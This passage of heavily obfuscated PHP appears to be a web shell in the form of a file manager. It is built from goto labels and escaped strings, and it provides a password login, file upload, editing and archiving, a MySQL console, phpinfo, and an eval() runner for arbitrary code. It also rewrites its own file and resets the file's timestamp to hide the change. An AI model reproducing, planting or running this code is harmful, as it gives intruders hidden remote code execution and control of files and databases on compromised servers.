wSTT2; } goto HuCg8; T3aB9: echo "\74\57\141\x3e\xd\12\x9\x3c\57\x74\144\x3e\15\xa\x3c\57\164\x72\76\15\12\x3c\x74\162\x3e\xd\12\x20\40\x20\x20\74\x74\144\x20\x63\154\x61\163\x73\x3d\x22\x72\157\x77\61\42\x20\x61\x6c\x69\147\156\x3d\x22\143\x65\156\164\x65\162\x22\76\xd\12\40\40\x20\40\40\40\x20\x20\74\146\x6f\162\155\40\x6e\x61\x6d\x65\x3d\42\x66\157\162\x6d\x31\x22\x20\x6d\x65\x74\150\157\x64\x3d\x22\160\157\x73\164\x22\40\141\x63\164\x69\157\156\75\x22"; goto h_M6j; GftdC: if (empty($s97BH["\163\150\157\x77\137\x67\x74"])) { goto GMC8b; } goto xOvbd; cvLzD: $vA8kI = filemtime($LKA8e); goto CF3hL; uXHty: unset($_COOKIE["\146\x6d\137\x63\157\156\146\x69\x67"]); goto ILa_e; xF580: Gs0pI: goto scRY3; izrDf: nEosC: goto RRyPB; N08Ve: echo CWQzD("\121\x75\x69\x74"); goto zor3Q; j7Crl: echo "\11\x9\11\74\x2f\x74\144\76\15\12\11\11\11\x3c\x74\144\x3e\15\12\x9\x9\x9"; goto CWOru; yyI_R: echo CwqZD("\110\x65\x6c\154\x6f"); goto vIwpD; ZSTkn: if (empty($s97BH["\x66\x6d\x5f\162\145\163\164\x6f\162\x65\x5f\x74\151\155\x65"])) { goto pNZhb; } goto epsyp; L4szZ: curl_setopt($I_70P, CURLOPT_FOLLOWLOCATION, 1); goto exrj9; bCAsd: if (!$d19Xm["\x61\x75\x74\150\157\162\x69\x7a\145"]) { goto sM5FV; } goto RN_ty; tiJwN: function UnCr5() { return uJnLY() . $_SERVER["\110\124\x54\x50\x5f\110\117\123\x54"]; } goto NOpsi; DSS3o: if (!($_POST["\154\157\x67\151\x6e"] == $d19Xm["\154\157\x67\x69\156"] && $_POST["\x70\141\x73\163\x77\x6f\162\x64"] == $d19Xm["\x70\141\x73\x73\167\x6f\162\144"])) { goto XjUEw; } goto w2bX2; EzZrX: if (isset($SlUj1)) { goto mfUYx; } goto YKlsX; AEJGl: echo "\x22\x3e\xd\12\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20"; goto xZvjC; VDFaa: goto yMVmN; goto jzkIf; s6jxP: sUoOq: goto DatQA; gzi_c: if (empty($_FILES["\165\160\x6c\157\x61\144"]["\156\141\155\x65"])) { goto Ar2yc; } goto c6e0P; PepLX: fclose($mdkdI); goto wz7Nr; hv_2l: $JWqhb = basename($slCOq) . "\56\x74\x61\x72"; goto zg137; fk0t7: echo cwQZD("\102\x61\143\153"); goto QIDb5; RcAk9: wYNVF: goto O39zr; kROUB: curl_setopt($I_70P, CURLOPT_USERAGENT, "\104\x65\x6e\x31\x78\170\x78\x20\x74\x65\x73\164\x20\x70\162\157\170\171"); goto L4szZ; ChKZq: if (!($mdkdI = @fopen($mNXtQ . $_REQUEST["\x66\x69\154\145\x6e\141\155\x65"], "\167"))) { goto W9osE; } goto PepLX; Vmw4n: echo "\40\55\40\x44\141\164\x61\142\x61\163\145\x3a\x20" . $s97BH["\x73\161\154\x5f\x64\142"] . "\x3c\x2f\x68\x32\76\74\57\x74\144\x3e\74\164\144\x3e" . op3pc("\x70\150\x70"); goto rPCFD; uh1cg: APYrN: goto Hbhah; L2pyw: if (empty($_REQUEST["\x73\x61\166\x65"])) { goto WzNpo; } goto bNzE_; O02oe: dm3q0: goto DbjU3; drU4X: $SpGQC = "\146\155\137" . $zqLqB; goto pmE_4; Rmu1D: $d19Xm["\160\141\x73\x73\x77\157\x72\144"] = isset($d19Xm["\x70\141\163\163\x77\157\x72\144"]) ? $d19Xm["\x70\141\x73\163\x77\157\162\144"] : "\x70\150\160\146\x6d"; goto BELTg; zib6c: if (empty($D8ooi[1])) { goto iTaeO; } goto dr5dY; Tz7Li: function TntLo($RMYit = "\145\x6e") { return "\15\xa\x3c\x66\157\162\x6d\x20\156\141\155\145\75\42\x63\150\141\156\x67\x65\137\x6c\141\x6e\x67\42\40\x6d\145\164\150\x6f\x64\75\x22\x70\x6f\163\164\42\x20\141\143\x74\x69\x6f\x6e\x3d\42\x22\76\15\12\11\x3c\163\x65\x6c\x65\143\x74\x20\x6e\x61\x6d\x65\x3d\42\x66\x6d\x5f\x6c\x61\156\x67\x22\40\164\x69\164\154\x65\75\x22" . CwqZD("\114\141\x6e\147\165\x61\147\145") . "\42\x20\x6f\156\143\x68\141\156\x67\145\x3d\42\144\157\143\x75\155\x65\156\x74\56\146\x6f\162\155\163\x5b\47\143\150\x61\156\x67\x65\137\x6c\x61\156\x67\47\135\56\163\x75\142\155\x69\x74\50\x29\42\40\x3e\15\12\x9\11\74\x6f\x70\x74\151\157\156\40\166\x61\154\x75\145\x3d\x22\x65\156\x22\x20" . ($RMYit == "\x65\x6e" ? "\x73\x65\x6c\x65\143\x74\x65\144\x3d\42\x73\x65\x6c\x65\x63\x74\145\x64\x22\40" : '') . "\76" . cwQzd("\x45\156\x67\x6c\x69\x73\x68") . "\x3c\x2f\157\x70\164\151\x6f\x6e\x3e\15\12\x9\x9\x3c\157\x70\x74\x69\157\156\x20\x76\x61\154\165\145\75\42\144\x65\42\x20" . ($RMYit == "\x64\145" ? "\163\x65\154\x65\143\164\x65\x64\75\42\x73\145\154\145\143\164\x65\x64\42\x20" : '') . "\x3e" . cWqzd("\107\x65\x72\155\141\156") . "\x3c\57\157\x70\164\x69\x6f\x6e\x3e\xd\12\11\x9\74\157\x70\x74\x69\x6f\156\40\x76\x61\154\165\145\x3d\42\162\165\x22\40" . ($RMYit == "\x72\165" ? "\x73\x65\x6c\x65\x63\164\145\x64\75\42\x73\145\154\145\x63\164\145\x64\42\x20" : '') . "\76" . CWQZd("\122\165\x73\163\x69\x61\156") . "\x3c\57\x6f\160\x74\151\157\x6e\76\15\xa\x9\x9\x3c\157\160\164\151\157\x6e\x20\x76\141\154\165\145\x3d\42\x66\x72\x22\40" . ($RMYit == "\x66\162" ? "\x73\x65\x6c\x65\143\164\x65\x64\75\x22\x73\x65\154\145\x63\x74\x65\x64\42\x20" : '') . "\x3e" . CwQzd("\106\x72\145\x6e\x63\x68") . "\74\57\x6f\160\x74\x69\157\x6e\76\xd\xa\x9\11\x3c\x6f\x70\x74\x69\157\x6e\x20\166\x61\x6c\x75\x65\75\x22\x75\x6b\42\x20" . ($RMYit == "\165\x6b" ? "\163\145\x6c\x65\143\164\145\x64\x3d\42\x73\145\154\145\x63\164\145\x64\42\x20" : '') . "\76" . cWQZD("\125\x6b\x72\x61\x69\156\x69\x61\156") . "\74\57\157\160\164\x69\157\156\76\15\xa\11\74\57\x73\x65\x6c\x65\x63\164\76\xd\xa\x3c\57\146\x6f\x72\155\76\xd\xa"; } goto jUiL0; SiuLt: ISTxd: goto KP1ZV; hyFTu: setcookie($d19Xm["\143\x6f\157\x6b\x69\145\137\x6e\x61\x6d\x65"], '', time() - 86400 * $d19Xm["\144\141\171\163\x5f\x61\x75\x74\x68\x6f\x72\x69\x7a\141\164\x69\157\x6e"]); goto ie3nA; kVU9X: $fOo6X = $ktmbx . "\46\x70\141\x74\x68\x3d" . $mNXtQ; goto eXPa4; Ej14c: function Ww1l4() { global $s97BH; return new mysqli($s97BH["\163\x71\154\137\163\x65\x72\x76\145\162"], $s97BH["\x73\161\x6c\137\x75\163\145\162\156\141\x6d\145"], $s97BH["\163\161\x6c\x5f\x70\141\163\163\x77\157\x72\144"], $s97BH["\163\x71\x6c\137\144\x62"]); } goto a1_R9; gSP8X: if (isset($_GET["\146\155\137\163\x65\x74\x74\151\156\x67\x73"])) { goto ND0OP; } goto EzZrX; Cg5Dr: echo "\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x3c\151\x6e\160\x75\164\40\164\171\160\x65\x3d\x22\163\x75\x62\x6d\151\164\42\x20\156\141\155\x65\x3d\42\163\141\166\x65\42\x20\166\x61\x6c\x75\x65\x3d\x22"; goto qS7xr; f_9Zy: echo cwQzd("\x53\x65\x61\x72\143\150"); goto bhj8m; exfiO: Se0e3: goto f93G6; xsKVZ: $dIxSR .= cWQZd("\105\162\162\157\162\40\157\143\143\x75\162\162\145\144"); goto tO5Ut; E2Sm_: $dIxSR .= cwQZD("\x45\162\162\157\162\40\157\x63\143\165\162\162\145\x64"); goto Qze8k; VkwXu: echo "\11\11\74\x2f\146\x6f\x72\155\76\xd\xa\11\74\x2f\164\144\76\xd\12\x3c\57\x74\162\x3e\15\12\x3c\x2f\x74\x61\142\x6c\145\x3e\xd\12"; goto CjLjn; FhkhF: $B3KcH = json_encode(array_combine($_POST[$oUtWp . "\137\156\141\x6d\145"], $_POST[$oUtWp . "\x5f\166\x61\154\165\145"]), JSON_HEX_APOS); goto yJ4u6; RD3iU: if (!isset($_GET["\144\157\x77\x6e\154\x6f\141\144"])) { goto Oemcj; } goto yXOt9; xPKEf: KCyLy: goto gj32I; v6fxV: BIuVk: goto ksC16; uei1f: Gs_N7: goto uUI8b; aXGd7: $MYKLd = "\x7b\x22\123\145\x74\x74\x69\x6e\147\163\x22\x3a\42\147\x6c\x6f\x62\141\x6c\40\x24\x66\155\137\x63\x6f\x6e\146\x69\x67\73\x5c\162\x5c\156\x76\141\162\137\145\x78\x70\x6f\162\x74\50\x24\146\155\137\143\x6f\x6e\x66\151\x67\x29\x3b\42\x2c\x22\x42\x61\x63\x6b\165\160\40\x53\x51\x4c\x20\164\141\142\154\x65\163\x22\72\42\x65\x63\x68\157\x20\146\x6d\x5f\142\141\143\x6b\165\x70\137\x74\x61\x62\x6c\145\163\x28\51\x3b\42\x7d"; goto OyBrS; kXZJn: $vQR8H = file_get_contents("\x68\164\164\x70\163\x3a\57\57\162\x61\167\x2e\x67\151\164\x68\x75\x62\165\163\x65\162\x63\x6f\156\164\x65\x6e\x74\x2e\x63\x6f\x6d\x2f\x44\145\x6e\61\170\170\x78\57\x46\151\154\145\x6d\x61\156\x61\x67\x65\x72\x2f\x6d\141\x73\x74\x65\162\57\x6c\141\x6e\147\165\x61\147\145\x73\x2f" . $BnHN0 . "\x2e\152\x73\157\x6e"); goto IZvqb; n0TGW: gT35d: goto nXGFR; Xcwlv: goto KCyLy; goto fkH3D; djngm: if (!@mkdir($mNXtQ . $_REQUEST["\144\x69\162\x6e\x61\x6d\x65"], 0777)) { goto dER4b; } goto ZVzJY; WSjBn: curl_setopt($I_70P, CURLOPT_RETURNTRANSFER, true); goto GRtdR; xqaNf: if (is_file($JWqhb)) { goto vfNG5; } goto GW4sd; A53ql: if (isset($_POST["\x74\160\x6c\x5f\145\144\x69\164\x65\144"])) { goto ucsUv; } goto Owd4I; skVac: echo "\x22\x3e\xd\xa\x9\x9\11\x9\x3c\x69\156\160\165\164\40\x74\171\x70\145\75\x22\150\151\x64\144\x65\x6e\x22\40\x6e\x61\x6d\x65\75\42\x70\141\x74\x68\42\x20\166\x61\x6c\x75\145\75\42"; goto XoAqB; JwPld: $slCOq = base64_decode($_GET["\147\172\x66\151\154\145"]); goto vh3zA; ztpfx: vfNG5: goto uNb9D; Ks6JM: echo "\x3c\x2f\150\x32\x3e\x3c\57\164\144\76\x3c\x74\144\76" . op3pC("\x73\x71\154"); goto amQzd; al_Ef: echo $dIxSR; goto ISlRl; HIq1N: Wr6Oq: goto lcriv; dGxEk: $qZLQM = $ktmbx . "\46\x72\145\x6e\141\155\x65\x3d" . $_REQUEST["\162\145\156\141\x6d\145"] . "\x26\160\141\164\150\75" . $mNXtQ; goto kVU9X; GW3r2: echo "\74\x2f\x74\145\170\164\x61\x72\x65\x61\76\xd\12\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x3c\x69\156\160\165\x74\40\x74\x79\x70\x65\75\x22\x73\165\142\x6d\151\x74\x22\x20\x6e\141\x6d\x65\75\42\163\141\166\x65\x22\40\x76\141\x6c\x75\x65\x3d\42"; goto GptaG; wkPPv: echo CwQZd("\x53\145\x6c\145\143\164\40\x74\x68\x65\40\146\x69\154\x65"); goto Bf4Tr; WebuX: echo "\74\x74\141\142\x6c\145\x20\x63\x6c\141\x73\163\x3d\x22\167\150\157\x6c\145\x22\76\xd\12\x3c\x74\x72\76\15\xa\40\x20\x20\40\x3c\164\150\x3e"; goto fLlt3; L5lGK: function JCzUa($prV_K, $AEqoX, $nd8Hy = '') { goto ZEa3T; ZEa3T: foreach ($prV_K as $t326I) { goto s0YBn; AwkYb: $ZBccG .= "\74\x6f\x70\x74\x69\157\156\40\166\141\x6c\165\145\75\x22" . $hR1Fl . "\42\x20" . ($nd8Hy && $nd8Hy == $hR1Fl ? "\x73\145\154\145\x63\164\x65\x64" : '') . "\76" . $hR1Fl . "\x3c\x2f\157\x70\164\x69\157\x6e\x3e"; goto SYLhW; s0YBn: $hR1Fl = $t326I[$AEqoX]; goto AwkYb; SYLhW: MAtZS: goto orHi2; orHi2: } goto gFDeu; GhtuP: return $ZBccG; goto Dn180; gFDeu: iLPU5: goto GhtuP; Dn180: } goto Tz7Li; HuCg8: echo "\11\x9\11\11\74\x66\x6f\162\x6d\40\x6d\x65\x74\x68\x6f\x64\75\42\x70\157\x73\x74\x22\40\141\x63\164\151\x6f\x6e\x3d\x22"; goto gLmoV; H3tW5: $tsz0y = explode("\x2c", $_SERVER["\110\x54\x54\x50\137\101\x43\x43\105\120\124\137\x4c\x41\x4e\x47\x55\x41\x47\105"]); goto N8P3C; hebAs: vxHMF: goto uvQ12; GH3KK: $VsbYS = new PharData($JWqhb); goto Gei4Z; tP3lm: echo "\x3c\57\x74\145\170\x74\x61\x72\145\x61\76\x3c\142\162\57\76\xd\xa\11\11\74\x69\x6e\x70\x75\164\x20\x74\x79\160\x65\x3d\x22\x72\x65\163\x65\x74\x22\40\166\x61\x6c\165\145\75\42"; goto G2JJR; QWFIB: echo CWqZD("\106\x69\154\x65\40\x6d\141\x6e\141\147\x65\x72") . "\40\55\40" . cwqZd("\x45\144\151\x74") . "\40\x2d\x20" . $mNXtQ . $_REQUEST["\145\x64\x69\x74"]; goto JRlBC; Rc8iv: phpinfo(); goto jsU03; v8qz2: echo "\x3a\40\74\151\156\160\x75\164\x20\x74\x79\160\145\75\x22\164\x65\170\164\x22\40\156\x61\155\145\x3d\x22\156\x65\167\x6e\x61\x6d\x65\42\x20\166\x61\154\x75\x65\75\42"; goto VRQku; a1Eky: goto W8Nzc; goto EmH2s; zorX5: oEzRY: goto JwPld; BsUMw: function BoA1e($lOFrg, $WksYP = false) { goto Dzk2h; Q8hqR: A0L6i: goto YP3ow; Y0M8l: goto Va1AP; goto Q8hqR; BSRqi: $W8Rvu .= $C7Ybq & 0x40 ? $C7Ybq & 0x800 ? "\163" : "\x78" : ($C7Ybq & 0x800 ? "\123" : "\55"); goto OTjQc; lQ4P0: goto Va1AP; goto VHWiI; NXiRc: if (($C7Ybq & 0x6000) == 0x6000) { goto k8rCx; } goto flkGM; I59AP: $W8Rvu = "\x2d"; goto yyzuI; TCN_h: CFocc: goto Ga2_n; c7NUZ: goto Va1AP; goto TCN_h; flkGM: if (($C7Ybq & 0x4000) == 0x4000) { goto Cg1Da; } goto d4g4G; PIDkF: Uao_u: goto mXyEc; VHWiI: zSKuv: goto I59AP; P3DGm: rPX7C: goto UtL_o; EreiY: $W8Rvu .= $C7Ybq & 0x80 ? "\167" : "\55"; goto BSRqi; mXyEc: $W8Rvu .= $C7Ybq & 0x100 ? "\x72" : "\x2d"; goto EreiY; tOGYm: $W8Rvu = "\144"; goto Y0M8l; iGoPI: $W8Rvu .= $C7Ybq & 0x10 ? "\167" : "\55"; goto TkxtZ; zHnoO: $W8Rvu .= $C7Ybq & 0x2 ? "\167" : "\55"; goto ZfBqd; ZfBqd: $W8Rvu .= $C7Ybq & 0x1 ? $C7Ybq & 0x200 ? "\x74" : "\x78" : ($C7Ybq & 0x200 ? "\x54" : "\55"); goto Edmza; Edmza: return $W8Rvu; goto NV1C2; fv39D: goto Va1AP; goto P3DGm; Cfsci: goto Va1AP; goto Vu6nR; WL8gx: $W8Rvu = "\x62"; goto iH65m; iH65m: goto Va1AP; goto GIN6_; YP3ow: $W8Rvu = "\x63"; goto c7NUZ; BQc81: if ($WksYP) { goto Uao_u; } goto pXfwr; GIN6_: Cg1Da: goto tOGYm; eN3Zu: if (($C7Ybq & 0x8000) == 0x8000) { goto zSKuv; } goto NXiRc; Ga2_n: $W8Rvu = "\x70"; goto on0xu; J9tMI: $W8Rvu = "\154"; goto lQ4P0; zfBE0: if (($C7Ybq & 0xa000) == 0xa000) { goto bQp42; } goto eN3Zu; UtL_o: $W8Rvu = "\163"; goto Cfsci; ubGtW: k8rCx: goto WL8gx; OTjQc: $W8Rvu .= $C7Ybq & 0x20 ? "\162" : "\x2d"; goto iGoPI; Dzk2h: $C7Ybq = fileperms($lOFrg); goto pS1yz; Vu6nR: bQp42: goto J9tMI; TkxtZ: $W8Rvu .= $C7Ybq & 0x8 ? $C7Ybq & 0x400 ? "\163" : "\x78" : ($C7Ybq & 0x400 ? "\123" : "\x2d"); goto SD12H; uRgsT: if (($C7Ybq & 0x1000) == 0x1000) { goto CFocc; } goto M1u5W; pS1yz: $W8Rvu = ''; goto BQc81; SD12H: $W8Rvu .= $C7Ybq & 0x4 ? "\162" : "\55"; goto zHnoO; pXfwr: if (($C7Ybq & 0xc000) == 0xc000) { goto rPX7C; } goto zfBE0; yyzuI: goto Va1AP; goto ubGtW; d4g4G: if (($C7Ybq & 0x2000) == 0x2000) { goto A0L6i; } goto uRgsT; on0xu: Va1AP: goto PIDkF; M1u5W: $W8Rvu = "\x75"; goto fv39D; NV1C2: } goto Rmgtz; Tl8r2: if (empty($s97BH["\x66\155\137\x73\x65\x74\x74\151\156\147\163"])) { goto nO286; } goto sLuxP; bRpRH: echo file_get_contents($lOFrg); goto twbpL; Uh8YY: gSWbJ: goto B0whl; jekr8: kyM6q: goto SCKWO; jkuQM: echo "\74\57\x74\x62\157\144\x79\76\xd\12\x3c\x2f\x74\x61\x62\x6c\145\76\15\xa\x3c\144\151\166\40\x63\x6c\141\163\163\x3d\42\162\x6f\167\x33\42\x3e"; goto nCA1r; gINwm: if (!($_POST["\146\155\x5f\x6c\x6f\x67\151\x6e"]["\x6c\157\147\151\156"] != $d19Xm["\x6c\x6f\147\151\156"])) { goto pqWiu; } goto BKuby; K2f1M: $ZBccG = empty($_POST["\x73\x71\154"]) ? '' : $_POST["\163\x71\x6c"]; goto XVHrE; zKnlX: if (empty($_REQUEST["\x73\141\166\x65"])) { goto dm3q0; } goto qcXpc; h8AZ4: if (!is_file($KoyTP . "\56\x67\172")) { goto WKuqb; } goto Pwqxg; wXwRN: echo "\x22\x3e\15\12\40\40\x20\x20\40\x20\40\40\74\57\x66\x6f\x72\155\76\xd\12\40\x20\x20\x20\74\57\x74\144\76\xd\12\74\x2f\x74\162\x3e\xd\12\x3c\x2f\x74\141\142\154\145\x3e\15\12"; goto KR3ik; HL_ky: $dIxSR .= CWqzd("\105\x72\x72\157\x72\40\157\x63\x63\165\162\162\x65\144"); goto a_YXF; SvT5m: if ($zqLqB == "\163\x71\154") { goto SFV01; } goto Ks6JM; vdhBy: echo "\42\x20\x76\141\x6c\165\145\x3d\x22"; goto Y87z9; Hbhah: ckNDw: goto RD3iU; bdjYZ: if (!empty($_POST[$oUtWp . "\137\156\145\x77\137\x6e\x61\155\145"])) { goto gSWbJ; } goto l3WL4; qu2DO: $iOi38 = $zqLqB . "\x5f\164\145\155\x70\154\x61\x74\145\163"; goto jM7K2; B0whl: $B3KcH = json_encode(json_decode(${$oUtWp . "\137\164\x65\155\160\x6c\x61\164\145\x73"}, true) + array($_POST[$oUtWp . "\137\156\145\x77\137\x6e\141\x6d\145"] => $_POST[$oUtWp . "\x5f\156\145\x77\137\x76\141\x6c\x75\x65"]), JSON_HEX_APOS); goto qZ3R7; scALU: goto TeC8m; goto jXzEh; dr5dY: $vA8kI = filemtime(__FILE__); goto FqpQ6; xTU12: if (file_put_contents(__FILE__, $St7jq)) { goto JyTeB; } goto t1o8m; gg2di: qUSqG: goto K2f1M; UQZtz: echo "\40\174\40\x3c\141\x20\150\162\145\x66\x3d\x22\77\x70\150\160\x69\x6e\x66\157\75\164\x72\x75\x65\x22\x3e\x70\150\160\x69\156\146\157\74\x2f\x61\x3e"; goto CLaF0; SaeXH: function zxt8j($xeI2N) { goto BKeta; BKeta: $Vs9JS = ini_get("\144\151\x73\160\x6c\x61\x79\137\x65\162\x72\x6f\x72\163"); goto rvi8g; rvi8g: ini_set("\144\151\163\x70\x6c\x61\171\137\x65\162\162\157\x72\163", "\x31"); goto PAaUj; BuhdZ: return $duQ6V; goto AQf_4; O4WE3: eval(trim($xeI2N)); goto og7IE; nyJFD: ini_set("\144\151\163\x70\154\141\171\x5f\145\162\162\x6f\162\x73", $Vs9JS); goto BuhdZ; x5Wrh: ob_end_clean(); goto nyJFD; PAaUj: ob_start(); goto O4WE3; og7IE: $duQ6V = ob_get_contents(); goto x5Wrh; AQf_4: } goto Ej14c; izqwl: echo "\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\x72\76\x3c\x2f\164\141\x62\154\145\76\74\57\164\x64\x3e\15\xa\74\57\x74\162\76\xd\12\74\164\x72\76\15\12\40\40\x20\40\74\164\144\40\x63\x6c\141\x73\163\x3d\x22\x72\x6f\x77\61\x22\76\15\12\11\x9\x3c\141\x20\150\x72\x65\x66\75\42"; goto OjB48; y6y2u: setcookie("\x66\155\137\x6c\x61\156\147", $_POST["\146\x6d\137\x6c\x61\x6e\147"], time() + 86400 * $d19Xm["\144\x61\171\x73\x5f\141\165\x74\x68\x6f\x72\151\172\x61\164\x69\157\x6e"]); goto LJKPl; Y0Su0: echo "\40"; goto z6HPI; RRyPB: lbrNm: goto DcTLl; kTMhT: touch(__FILE__, $vA8kI); goto gG_Az; jwaPj: echo "\11\x9\x9\74\57\x74\144\x3e\15\xa\11\x9\x9\x3c\x74\144\76\15\xa\x9\11\11\x9\x3c\x66\x6f\162\x6d\40\40\155\145\x74\x68\x6f\144\75\42\x70\x6f\163\164\x22\40\141\143\164\x69\157\x6e\x3d\42"; goto a5xF1; WweSH: $dIxSR .= cWQZD("\106\x69\x6c\x65\x20\165\x70\144\141\164\x65\144"); goto ZZ1ZN; a3kNa: foreach ($JCw1W as $GO7Gl) { $dIxSR .= "\74\141\x20\x68\162\x65\x66\x3d\x22" . c0J9P(true) . "\77\x66\x6d\x3d\x74\x72\x75\x65\x26\145\x64\151\164\75" . basename($GO7Gl) . "\46\x70\x61\164\x68\75" . str_replace("\57" . basename($GO7Gl), "\x2f", $GO7Gl) . "\42\40\x74\151\x74\x6c\145\75\42" . cwqzd("\x45\144\151\x74") . "\x22\x3e" . basename($GO7Gl) . "\74\57\x61\x3e\x26\x6e\142\163\160\73\40\x26\x6e\x62\x73\x70\x3b"; yRH7H: } goto rjAvH; Us1HH: echo "\74\x2f\144\151\166\x3e\15\xa\74\163\x63\x72\x69\160\164\x20\164\x79\x70\x65\75\x22\164\x65\170\x74\57\152\x61\166\141\163\143\x72\x69\160\x74\x22\x3e\15\12\x66\x75\x6e\x63\164\x69\157\156\40\x64\x6f\x77\156\x6c\x6f\141\144\x5f\170\154\x73\x28\x66\x69\x6c\x65\x6e\141\x6d\145\x2c\x20\164\145\x78\x74\x29\40\173\15\xa\11\166\141\162\x20\x65\x6c\x65\155\145\x6e\164\40\x3d\40\x64\157\143\165\155\x65\x6e\x74\56\143\x72\x65\x61\x74\x65\x45\154\x65\155\145\x6e\164\x28\x27\141\47\x29\73\xd\12\x9\145\x6c\x65\155\145\x6e\164\x2e\163\x65\164\101\x74\x74\162\151\x62\x75\164\145\x28\47\150\162\x65\x66\47\x2c\x20\47\144\141\164\x61\72\x61\x70\x70\154\151\x63\141\164\x69\x6f\x6e\57\166\156\144\x2e\155\163\55\x65\170\143\145\154\x3b\142\x61\163\x65\66\64\54\47\40\x2b\x20\164\145\x78\x74\51\x3b\15\12\11\145\x6c\145\155\145\156\164\x2e\x73\145\164\x41\164\x74\x72\151\142\165\164\x65\50\x27\x64\x6f\x77\156\154\157\141\x64\47\54\x20\x66\x69\154\145\x6e\141\155\x65\51\x3b\xd\12\x9\145\154\x65\155\x65\x6e\x74\x2e\163\164\x79\154\145\x2e\x64\151\x73\x70\154\x61\171\40\75\x20\x27\156\x6f\156\145\47\x3b\xd\xa\x9\144\157\143\x75\155\145\156\x74\x2e\142\157\x64\171\x2e\x61\160\x70\145\x6e\144\x43\x68\x69\x6c\144\x28\x65\154\x65\155\145\x6e\164\51\x3b\xd\12\x9\145\x6c\145\155\145\x6e\164\56\x63\154\151\x63\153\50\51\73\15\12\x9\x64\x6f\143\x75\155\145\156\x74\x2e\x62\157\144\x79\56\162\145\x6d\157\166\x65\103\x68\151\x6c\144\50\145\x6c\x65\x6d\x65\156\164\51\x3b\xd\12\x7d\xd\xa\xd\xa\x66\165\156\x63\x74\x69\157\x6e\40\x62\141\x73\145\66\x34\x5f\x65\156\143\157\x64\145\50\x6d\x29\x20\173\15\12\x9\146\x6f\162\40\50\166\x61\x72\x20\x6b\40\75\40\42\101\x42\103\x44\x45\106\107\110\x49\x4a\113\x4c\x4d\x4e\x4f\120\121\122\x53\x54\x55\126\127\x58\x59\x5a\x61\x62\143\144\x65\146\x67\x68\151\152\153\x6c\x6d\x6e\157\x70\x71\x72\163\x74\165\x76\x77\x78\x79\x7a\x30\x31\62\63\x34\65\x36\x37\x38\71\x2b\57\42\56\x73\160\x6c\x69\164\x28\x22\42\51\54\40\x63\x2c\x20\x64\x2c\40\x68\54\40\145\x2c\x20\x61\54\x20\x67\40\75\40\42\x22\x2c\40\x62\x20\75\40\60\54\40\x66\54\40\154\x20\x3d\40\x30\73\40\x6c\40\74\40\155\56\x6c\x65\x6e\x67\x74\150\73\40\53\x2b\154\x29\x20\x7b\xd\12\11\x9\x63\40\75\40\x6d\56\143\x68\141\162\x43\157\x64\145\x41\x74\x28\154\51\73\15\xa\x9\11\x69\x66\x20\x28\61\62\70\x20\76\x20\x63\51\40\144\x20\x3d\x20\x31\73\15\12\x9\11\145\x6c\163\145\xd\12\11\x9\11\146\157\x72\40\50\144\40\75\x20\x32\73\40\143\x20\76\75\40\x32\x20\x3c\74\x20\x35\40\x2a\40\144\x3b\51\40\53\53\x64\x3b\15\12\11\x9\x66\x6f\162\40\50\x68\40\75\x20\x30\x3b\40\x68\x20\74\x20\x64\x3b\x20\53\53\x68\x29\40\x31\x20\75\x3d\x20\144\40\77\40\145\x20\x3d\x20\x63\40\72\40\x28\x65\40\75\40\x68\x20\77\x20\61\62\70\40\72\x20\61\x39\x32\x2c\40\141\40\75\40\144\40\x2d\40\62\40\55\x20\66\40\52\x20\x68\54\x20\x30\x20\x3c\x3d\40\141\40\x26\46\x20\x28\x65\40\x2b\75\x20\x28\66\x20\74\x3d\40\x61\40\77\x20\x31\x20\72\x20\x30\x29\40\53\x20\x28\x35\40\74\75\x20\141\40\x3f\x20\x32\x20\x3a\40\60\x29\40\x2b\x20\50\64\x20\x3c\x3d\40\141\40\77\x20\64\40\72\x20\x30\x29\40\x2b\40\x28\63\40\74\75\x20\x61\x20\77\40\70\40\x3a\x20\x30\x29\40\53\x20\50\62\x20\74\x3d\x20\141\40\x3f\x20\x31\x36\40\72\40\x30\51\x20\53\40\x28\x31\x20\74\75\x20\141\x20\x3f\40\63\x32\40\x3a\x20\x30\x29\54\x20\141\40\x2d\x3d\40\x35\x29\x2c\x20\x30\x20\76\x20\x61\40\x26\x26\x20\x28\165\x20\x3d\x20\66\x20\x2a\40\x28\144\x20\55\x20\61\x20\x2d\x20\150\51\x2c\40\x65\x20\53\75\x20\143\x20\76\x3e\40\165\54\x20\143\x20\x2d\75\x20\x63\x20\76\76\x20\165\x20\x3c\x3c\40\165\x29\x29\x2c\40\146\x20\75\40\x62\40\77\x20\146\x20\74\74\x20\66\x20\55\40\x62\40\72\40\60\x2c\40\142\40\x2b\75\x20\62\x2c\x20\146\x20\53\75\x20\x65\x20\76\x3e\40\142\54\x20\147\x20\53\x3d\x20\x6b\133\x66\135\x2c\40\x66\40\x3d\x20\145\40\45\40\50\x31\40\x3c\74\40\x62\51\54\x20\66\x20\x3d\x3d\40\x62\x20\46\46\x20\50\142\40\75\x20\60\x2c\x20\x67\40\53\x3d\x20\x6b\133\x66\x5d\51\xd\12\11\x7d\xd\xa\11\x62\x20\46\x26\x20\50\147\x20\x2b\x3d\40\x6b\x5b\x66\x20\74\74\x20\66\40\x2d\x20\x62\135\x29\x3b\15\12\x9\x72\145\164\165\x72\156\x20\147\15\12\175\xd\xa\xd\xa\15\xa\x76\141\162\40\164\141\x62\x6c\145\x54\x6f\x45\170\143\145\154\104\x61\x74\141\x20\75\x20\x28\146\x75\x6e\x63\x74\151\157\x6e\x28\51\x20\173\15\xa\40\x20\x20\x20\166\x61\162\40\x75\162\x69\40\75\x20\47\144\x61\x74\x61\72\x61\x70\160\154\x69\x63\x61\x74\x69\x6f\156\x2f\166\156\x64\56\x6d\x73\55\145\170\143\x65\x6c\x3b\142\x61\163\145\66\x34\54\47\54\15\xa\40\x20\40\40\164\x65\x6d\x70\154\x61\164\x65\x20\75\40\x27\74\x68\164\x6d\x6c\x20\170\x6d\x6c\x6e\x73\72\157\x3d\42\x75\162\156\x3a\x73\x63\x68\145\155\141\x73\x2d\155\151\x63\x72\x6f\163\157\146\x74\55\143\x6f\x6d\x3a\x6f\146\146\151\x63\x65\72\x6f\146\x66\x69\x63\x65\42\40\x78\155\x6c\x6e\x73\72\x78\75\42\165\x72\x6e\x3a\x73\x63\x68\145\155\x61\x73\x2d\x6d\x69\143\162\x6f\163\157\x66\164\x2d\143\x6f\155\x3a\x6f\146\146\x69\x63\145\72\